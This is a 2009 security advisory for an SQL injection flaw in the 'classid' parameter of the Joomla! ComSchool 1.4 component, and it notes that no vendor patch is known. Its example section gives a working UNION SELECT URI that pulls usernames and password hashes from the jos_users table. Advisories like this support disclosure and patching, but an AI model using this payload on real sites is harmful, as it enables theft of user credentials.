Joomla! ComSchool Component 'classid' Parameter SQL Injection Vulnerability

Bugtraq ID:	35257
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 08 2009 12:00AM
Updated:	Jun 08 2009 07:49PM
Credit:	Chip D3 Bi0s
Vulnerable:	ComSchool ComSchool 1.4
Not Vulnerable:

Joomla! ComSchool Component 'classid' Parameter SQL Injection Vulnerability

The Joomla! ComSchool component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ComSchool 1.4 is vulnerable; other versions may also be affected.

Joomla! ComSchool Component 'classid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_school&Itemid=null&func=showclass&classid=-null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*

Joomla! ComSchool Component 'classid' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla! ComSchool Component 'classid' Parameter SQL Injection Vulnerability

References:

• ComSchool Homepage (ComSchool)